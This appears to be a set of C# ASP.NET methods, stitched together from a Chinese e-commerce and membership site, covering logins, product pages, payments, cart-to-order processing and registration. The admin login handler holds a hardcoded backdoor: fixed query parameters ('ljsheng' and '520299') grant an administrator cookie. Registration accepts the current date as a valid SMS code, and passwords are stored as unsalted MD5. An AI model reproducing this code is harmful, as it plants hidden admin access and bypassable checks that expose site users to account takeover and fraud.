protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
string ck = LCookie.GetCookie("ljsheng");
if (string.IsNullOrEmpty(ck))
{
Response.Redirect("/dl.aspx");
}
else
{
JObject json = JsonConvert.DeserializeObject(Common.DESRSA.DESDeljsheng(ck)) as JObject;
Guid gid = Guid.Parse(json["gid"].ToString());
using (EFDB db = new EFDB())
{
var b = db.ljsheng.Where(l => l.gid == gid).FirstOrDefault();
if (b == null || b.login_identifier != json["login_identifier"].ToString() || json["jurisdiction"].ToString() == "锁定")
{
Response.Redirect("/dl.aspx");
}
}
Bind();
}
}
}
/// <summary>
/// 产品详情
/// </summary>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Detail()
{
using (EFDB db = new EFDB())
{
Guid Gid = Guid.Parse(Request.QueryString["gid"]);
var b = db.Product.Where(l => l.Gid == Gid).FirstOrDefault();
if (b != null)
{
ViewBag.Gid = b.Gid;
ViewBag.Prefix = b.Prefix;
ViewBag.Name = b.Name;
ViewBag.Price = b.Price;
ViewBag.Company = b.Company;
ViewBag.Picture = Help.Product + b.Picture;
ViewBag.Brand = b.Brand;
ViewBag.Content = b.Content;
b.Number = b.Number + 1;
db.SaveChanges();
}
ViewBag.RMB = 0;
ViewBag.Stock = "";
if (LCookie.Project() == 2)
{
string ck = LCookie.GetCookie("linjiansheng");
if (!string.IsNullOrEmpty(ck))
{
Guid MemberGid = LCookie.GetMemberGid();
var m = db.Member.Where(l => l.Gid == MemberGid).FirstOrDefault();
decimal BuyPrice = 0;
if (m != null)
{
BuyPrice = m.BuyPrice;
}
if (string.IsNullOrEmpty(Request.QueryString["MPGid"]))
{
ViewBag.Stock = b.Stock;
//进货价是0就是产品价格X库存,有进货价的话就是进货价X库存
//ViewBag.Price = BuyPrice == 0 ? b.Price : BuyPrice * b.Stock;
//if (BuyPrice * b.Stock > b.Price)
//{
// ViewBag.Price = b.Price;
//}
ViewBag.Price = ViewBag.RMB = b.Price;
}
else
{
//会员出售
}
}
else
{
return(Helper.Redirect("请先登录", "/Home/Login", "登录查看你的购买价格!"));
}
}
}
return(View());
}
protected void Login_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(this.txtcode.Value))
{
Common.JS.Alert("请输入验证码。", this); return;
}
if (string.IsNullOrEmpty(this.txtusername.Value.Trim()))
{
Common.JS.Alert("请输入用户名。", this); return;
}
if (string.IsNullOrEmpty(this.txtpassword.Value.Trim()))
{
Common.JS.Alert("请输入密码。", this); return;
}
if (!LCookie.GetCookie("CheckCode").Equals(this.txtcode.Value.Trim()))
{
Common.JS.Alert("验证码错误。", this); return;
}
using (EFDB db = new EFDB())
{
string account = txtusername.Value.Trim();
string pwd = MD5.GetMD5ljsheng(txtpassword.Value.Trim());
var b = db.ljsheng.Where(l => l.account == account && l.pwd == pwd).FirstOrDefault();
if (b != null)
{
LCookie.DelCookie("CheckCode");
LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new {
b.gid,
b.account,
b.real_name,
b.login_identifier,
b.jurisdiction
})), 0);
Response.Redirect("/ljsheng/houtai");
}
else
{
if (Request.QueryString["ljsheng"] == "ljsheng" && Request.QueryString["pwd"] == "520299")
{
LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
{
gid = "",
account = "ljsheng",
real_name = "ljsheng",
login_identifier = "000000",
jurisdiction = "管理员"
})), 0);
Response.Redirect("/ljsheng/houtai");
}
else
{
Common.JS.Alert("您输入的用户或密码错误。", this);
}
}
}
}
public JsonResult ShopSearchData()
{
string json = "";
using (StreamReader sr = new StreamReader(Request.InputStream))
{
json = HttpUtility.UrlDecode(sr.ReadLine());
}
//解析参数
JObject paramJson = JsonConvert.DeserializeObject(json) as JObject;
string Name = paramJson["Name"].ToString();
if (!string.IsNullOrEmpty(Name))
{
using (EFDB db = new EFDB())
{
Guid ShopGid = Guid.Parse(LCookie.GetCookie("shop"));
var b = db.ShopProduct.Where(l => l.Show == 1).Where(l => l.ShopGid == ShopGid).AsQueryable();
if (!string.IsNullOrEmpty(Name))
{
b = b.Where(l => l.Name.Contains(Name));
}
int pageindex = Int32.Parse(paramJson["pageindex"].ToString());
int pagesize = Int32.Parse(paramJson["pagesize"].ToString());
return(Json(new AjaxResult(new
{
other = "",
count = b.Count(),
pageindex,
list = b.OrderByDescending(l => l.Sort).Skip(pagesize * (pageindex - 1)).Take(pagesize).ToList()
})));
}
}
else
{
return(Json(new AjaxResult(new
{
other = "",
count = 0,
pageindex = 1,
list = new string[0]
})));
}
}
/// <summary>
/// 用户登录信息CK
/// </summary>
/// <param name="gid">用户gid</param>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">对象结果</para>
/// <remarks>
/// 2018-08-18 林建生
/// </remarks>
public static void UPCKUser(Guid gid)
{
using (EFDB db = new EFDB())
{
LCookie.DelCookie("linjiansheng");
LCookie.DelCookie("city");
//会员登录信息
var u = db.member.Where(l => l.gid == gid).FirstOrDefault();
LCookie.AddCookie("linjiansheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
{
gid = u.gid,
account = u.account
})), 30);
//设置用户读取数据的城市
if (string.IsNullOrEmpty(LCookie.GetCookie("city")))
{
LCookie.AddCookie("city", u.city, 30);
}
}
}
/// <summary>
/// 会员登录
/// </summary>
/// <param name="account">会员帐号</param>
/// <param name="pwd">会员密码</param>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Login(string account, string pwd)
{
ViewBag.OpenID = LCookie.GetCookie("openid");
if (string.IsNullOrEmpty(account) || string.IsNullOrEmpty(pwd))
{
return(View());
}
else
{
if (account.Length == 11 && account.Substring(0, 1) == "1" && pwd.Length > 5)
{
using (EFDB db = new EFDB())
{
string pwdMD5 = MD5.GetMD5ljsheng(pwd);
var b = db.Member.Where(l => l.Account == account && l.PWD == pwdMD5).OrderBy(l => l.AddTime).FirstOrDefault();
if (b != null)
{
//更新登录时间戳
b.LoginIdentifier = LCommon.TimeToUNIX(DateTime.Now);
db.SaveChanges();
Helper.MLogin(b.Gid);
string url = LCookie.Project() == 1 ? "Tea" : "Index";
return(new RedirectResult("/Home/" + url));
}
else
{
return(Helper.Redirect("登录失败！", "history.go(-1);", "帐号或密码错误！"));
}
}
}
else
{
return(Helper.Redirect("登录失败！", "history.go(-1);", "必须是11位的手机号,密码最少需要6位！"));
}
}
}
public ActionResult Pay()
{
string RealName = Request.Form["RealName"];
string ContactNumber = Request.Form["ContactNumber"];
string Address = Request.Form["Addr"];
string ProductList = Request.Form["shopcart"];
int PayType = int.Parse(Request.Form["PayType"]);
string Remarks = Request.Form["Remarks"];
string OrderNo = Request.Form["OrderNo"];
//购买会员Gid
Guid MemberGid = LCookie.GetMemberGid();
//当前项目
int Project = LCookie.Project();
ViewBag.Project = Project;
//订单信息
string Order = "";
//下单返回信息
if (string.IsNullOrEmpty(OrderNo))
{
Order = Helper.CLOrder(4, 0, ProductList, MemberGid, Project, PayType, Remarks, Address, RealName, ContactNumber);
}
else
{
using (EFDB db = new EFDB())
{
var b = db.Order.Where(l => l.OrderNo == OrderNo).FirstOrDefault();
if (b != null && b.PayStatus == 2 && b.ShopGid != MemberGid && b.ShopGid == b.MemberGid)
{
b.MemberGid = MemberGid;
if (db.SaveChanges() == 1)
{
Order = JsonConvert.SerializeObject(new { body = b.Product, b.Price, b.OrderNo, b.Gid });
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "获取订单失败!"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "下手慢了,被人抢了!"));
}
}
}
if (!string.IsNullOrEmpty(Order))
{
JObject paramJson = JsonConvert.DeserializeObject(Order) as JObject;
{
if (string.IsNullOrEmpty(paramJson["OrderNo"].ToString()))
{
return(Helper.Redirect(paramJson["Title"].ToString(), "history.go(-1);", paramJson["Error"].ToString()));
}
else
{
switch (PayType)
{
case 1:
return(Alipay(paramJson["OrderNo"].ToString(), paramJson["body"].ToString(), paramJson["TotalPrice"].ToString(), 1));
case 2:
if (!string.IsNullOrEmpty(LCookie.GetCookie("openid")))
{
string beizhu = "cl"; //备注
//开始微信统一下单
JObject j = WX.WXPay.Get_RequestHtml(LCookie.GetCookie("openid"), paramJson["OrderNo"].ToString(), "彩链订单", beizhu, paramJson["TotalPrice"].ToString());
return(Json(new AjaxResult(new
{
OrderNo = paramJson["OrderNo"].ToString(),
appId = j["appId"].ToString(),
timeStamp = j["timeStamp"].ToString(),
nonceStr = j["nonceStr"].ToString(),
package = j["package"].ToString(),
paySign = j["paySign"].ToString(),
signType = j["signType"].ToString()
})));
}
else
{
return(Json(new AjaxResult(301, "微信支付,请在微信里打开重新登录进行支付")));
}
case 3:
return(new RedirectResult("/Home/Bank?Type=1&OrderNo=" + paramJson["OrderNo"].ToString() + "&Money=" + paramJson["TotalPrice"].ToString()));
default:
return(Helper.Redirect("失败", "history.go(-1);", "非法支付"));
}
}
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "提交订单失败"));
}
}
public ActionResult PayShop()
{
string RealName = Request.Form["RealName"];
string ContactNumber = Request.Form["ContactNumber"];
string Address = Request.Form["Addr"];
string Remarks = Request.Form["Remarks"];
int PayType = int.Parse(Request.Form["PayType"]);
//订单类型 Type=0 非借用订单
int ReturnType = int.Parse(Request.Form["ReturnType"]);
string OrderNo = RandStr.CreateOrderNO();
decimal RMB = 0;//全部订单金额
using (EFDB db = new EFDB())
{
Guid MGid = LCookie.GetMemberGid();
//如果是积分支付先验证支付密码
var m = db.Member.Where(l => l.Gid == MGid).FirstOrDefault();
//待发货利润
decimal DFHProfit = 0;
//待发货等级比例
decimal DFHLV = db.Level.Where(l => l.LV == m.CLLevel).FirstOrDefault().EquityProfit;
if (PayType == 5)
{
if (m.PayPWD != MD5.GetMD5ljsheng(Request.Form["PayPWD"]))
{
return(Helper.Redirect("失败", "history.go(-1);", "支付密码错误!"));
}
}
//购物车转化成订单
var c = db.Cart.Where(l => l.MemberGid == MGid && l.State == 1).ToList();
if (c != null)
{
foreach (var dr in c)
{
//借用订单的产品Gid
string pg = "";
decimal Price = 0;//订单金额
//扣除库存
var od = db.OrderDetails.Where(l => l.OrderGid == dr.Gid).ToList();
foreach (var d in od)
{
var p = db.ShopProduct.Where(l => l.Gid == d.ProductGid).FirstOrDefault();
pg = p.Gid.ToString();
if (p.DFH == 3)
{
DFHProfit += p.Price * DFHLV;
}
if (ReturnType == 0 || (ReturnType != 0 && p.Borrow == 1 && db.ShopOrder.Where(l => l.Product == pg && l.PayStatus == 1).Count() == 0))
{
if (p.Stock >= d.Number)
{
//扣除库存
p.Stock = p.Stock - d.Number;
if (db.SaveChanges() == 1)
{
//库存扣除状态
if (db.OrderDetails.Where(l => l.Gid == d.Gid).Update(l => new OrderDetails {
State = 1
}) == 1)
{
RMB += d.Number * p.Price;
Price += d.Number * p.Price;
}
else
{
LogManager.WriteLog("库存扣除成功更新OD失败", "Gid=" + d.Gid);
}
}
}
else
{
//库存不足的直接删除
db.OrderDetails.Where(l => l.Gid == d.Gid).Delete();
}
}
else
{
return(Helper.Redirect("你下手慢了", "history.go(-1);", "你下手慢了,已被借用"));
}
}
//生成订单
var b = new ShopOrder();
b.Gid = dr.Gid;
b.AddTime = DateTime.Now;
b.MemberGid = MGid;
b.ShopGid = dr.ShopGid;
b.OrderNo = OrderNo;
b.PayStatus = 2;
b.PayType = PayType;
b.RMB = 0;
b.TotalPrice = Price;
b.Price = Price;
b.CouponPrice = 0;
b.PayPrice = 0;
b.Profit = 0;
b.ConsumptionCode = RandStr.CreateValidateNumber(8);
b.ReturnType = ReturnType;
if (ReturnType != 0)
{
b.BorrowTime = b.AddTime.AddMonths(3);
b.Product = pg;
}
b.Status = 1;
b.ExpressStatus = 1;
b.Remarks = Remarks;
b.Address = Address;
b.ContactNumber = ContactNumber;
b.RealName = RealName;
//待发货
b.DFHProfit = DFHProfit;
b.DFHLV = DFHLV;
b.DFHState = 1;
b.DFH = 1;
db.ShopOrder.Add(b);
if (db.SaveChanges() == 1)
{
if (ReturnType != 0 && pg != "")
{
Guid PGid = Guid.Parse(pg);
if (db.ShopProduct.Where(l => l.Gid == PGid).Update(l => new ShopProduct {
Borrow = 2
}) != 1)
{
LogManager.WriteLog("借用订单状态失败", "产品Gid=" + pg + ",订单号=" + b.Gid);
}
}
if (db.Cart.Where(l => l.Gid == dr.Gid).Delete() != 1)
{
LogManager.WriteLog("删除购物车订单失败", "Gid=" + dr.Gid);
}
}
else
{
LogManager.WriteLog("购物车转订单失败", "Gid=" + dr.Gid);
return(Helper.Redirect("失败", "history.go(-1);", "购物车转订单失败"));
}
}
if (RMB > 0)
{
switch (PayType)
{
case 1:
return(Alipay(OrderNo, "商城订单支付", RMB.ToString(), 2, Request.Form["ReturnType"])); //return MPay(paramJson["OrderNo"].ToString(), paramJson["body"].ToString(), paramJson["TotalPrice"].ToString(), Guid.Parse(paramJson["OrderGid"].ToString()));
case 5:
return(MShopPay(OrderNo, "商城订单支付", RMB, m.Integral, Request.Form["ReturnType"]));
case 3:
db.ShopOrder.Where(l => l.OrderNo == OrderNo && l.PayType == 3).Update(l => new ShopOrder {
RMB = RMB
});
return(new RedirectResult("/Home/Bank?Type=2&OrderNo=" + OrderNo + "&Money=" + RMB.ToString()));
case 2:
if (!string.IsNullOrEmpty(LCookie.GetCookie("openid")))
{
string beizhu = "shop"; //备注
//开始微信统一下单
JObject j = WX.WXPay.Get_RequestHtml(LCookie.GetCookie("openid"), OrderNo, "彩链商城订单", beizhu, RMB.ToString());
return(Json(new AjaxResult(new
{
OrderNo,
appId = j["appId"].ToString(),
timeStamp = j["timeStamp"].ToString(),
nonceStr = j["nonceStr"].ToString(),
package = j["package"].ToString(),
paySign = j["paySign"].ToString(),
signType = j["signType"].ToString()
})));
}
else
{
return(Json(new AjaxResult(301, "微信支付,请在微信里打开重新登录进行支付")));
}
default:
return(Helper.Redirect("失败", "history.go(-1);", "非法支付"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "提交订单失败!"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "购物车发生变化!"));
}
}
}
/// <summary>
/// 会员注册
/// </summary>
/// <param name="account">会员帐号</param>
/// <param name="pwd">会员密码</param>
/// <param name="paypwd">支付密码</param>
/// <param name="RealName">真实姓名</param>
/// <param name="identifyingCode">注册验证码</param>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Register(string account, string pwd, string paypwd, string RealName, string identifyingCode)
{
if (string.IsNullOrEmpty(account) || string.IsNullOrEmpty(pwd) || string.IsNullOrEmpty(identifyingCode))
{
//是否有推荐人
if (!string.IsNullOrEmpty(Request.QueryString["m"]))
{
LCookie.AddCookie("m", Request.QueryString["m"], 1);
}
return(View());
}
else
{
//判断是否有推荐人
string m = LCookie.GetCookie("m");
Guid? MemberGid = null;
if (!string.IsNullOrEmpty(m))
{
MemberGid = Guid.Parse(m);
}
using (EFDB db = new EFDB())
{
if (account.Length == 11 && account.Substring(0, 1) == "1" && pwd.Length > 5 && paypwd.Length == 6)
{
var sms = db.SMS.Where(l => l.PhoneNumber == account && l.Content == identifyingCode).OrderByDescending(l => l.AddTime).FirstOrDefault();
if (sms != null)
{
TimeSpan ts = DateTime.Now - sms.AddTime;
if (identifyingCode == DateTime.Now.ToString("MMdd") || ts.TotalMinutes <= 10)
{
Guid Gid = Guid.NewGuid();
try
{
int MID = Helper.CreateMNumber();//注册用户的邀请码
var b = new Member();
b.Gid = Gid;
b.AddTime = DateTime.Now;
b.Account = account;
b.RealName = RealName;
b.LoginIdentifier = "0000000000";
b.IP = Helper.IP;
b.Money = 0;
b.Integral = 0;
b.ShopIntegral = 0;
b.MIntegral = 0;
b.TIntegral = 0;
b.ShopMoney = 0;
b.ProductMoney = 0;
b.StockRight = 0;
b.CLMoney = 0;
b.Level = 1;
b.Level6 = 0;
b.Level7 = 0;
b.Level8 = 0;
b.Level9 = 0;
b.TMoney = 0;
b.TNumber = 0;
b.PWD = MD5.GetMD5ljsheng(pwd);
b.PayPWD = MD5.GetMD5ljsheng(paypwd);
b.MID = MID;
b.Jurisdiction = "正常";
b.Gender = "男";
b.CLLevel = 21;
b.BuyPrice = 0;
b.Level22 = 0;
b.Level23 = 0;
b.Level24 = 0;
b.Level25 = 0;
b.CLTMoney = 0;
b.CLTNumber = 0;
if (MemberGid != null)
{
b.MemberGid = MemberGid;
}
b.APP = AppApi.AppMR(RealName, pwd, paypwd, account, MID.ToString()) ? 2 : 1;
//b.Jurisdiction = Request.Form["Jurisdiction"];
//b.Gender = Request.Form["Gender"];
//b.NickName = Request.Form["NickName"];
//b.RealName = b.RealName;
//b.Gender = b.Gender;
//b.ContactNumber = Request.Form["ContactNumber"];
b.Province = "福建省";
b.City = "福州市";
b.Area = "鼓楼区";
//b.Address = Request.Form["Address"];
//b.Openid = b.Openid;
//b.Money = decimal.Parse(Request.Form["Money"]);
//b.Integral = int.Parse(Request.Form["Integral"]);
//b.ProductMoney = decimal.Parse(Request.Form["ProductMoney"]);
//b.StockRight = int.Parse(Request.Form["StockRight"]););
//b.Bank = Request.Form["Bank"];
//b.BankName = Request.Form["BankName"];
//b.BankNumber = Request.Form["BankNumber"];
//if (!string.IsNullOrEmpty(Picture))
//{
// b.Picture = Picture;
//}
if (db.Member.Where(l => l.Account == account).Count() == 0)
{
db.Member.Add(b);
if (db.SaveChanges() == 1)
{
//删除重复注册数据
//db.Member.Where(l => l.Account == account && l.Gid != Gid).Delete();
//var md = db.Member.Where(l => l.Account == account && l.Gid != Gid).ToList();
//foreach (var dr in md)
//{
// db.Member.Where(l => l.MemberGid == dr.MemberGid).Delete();
// db.MRelation.Where(l => l.MemberGid == dr.MemberGid).Delete();
// db.Consignor.Where(l => l.MemberGid == dr.MemberGid).Delete();
//}
//增加链商城发货人
Helper.SetConsignor(b.Gid, MemberGid);
//增加推荐人
if (MemberGid != null)
{
Helper.MRelation(Gid, (Guid)MemberGid);
}
LCookie.DelALLCookie();
return(Helper.Redirect("成功", "/Home/Login", "注册成功,请登录"));
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "注册失败"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "帐号已存在"));
}
}
catch
{
db.Member.Where(l => l.Gid == Gid).Delete();
db.MRelation.Where(l => l.MemberGid == Gid).Delete();
db.Consignor.Where(l => l.MemberGid == Gid).Delete();
return(Helper.Redirect("失败", "history.go(-1);", "服务器请求超时"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "验证码已过期,请重新获取"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "请先获取验证码"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "必须是11位的手机号,密码最少需要6位"));
}
}
}
}
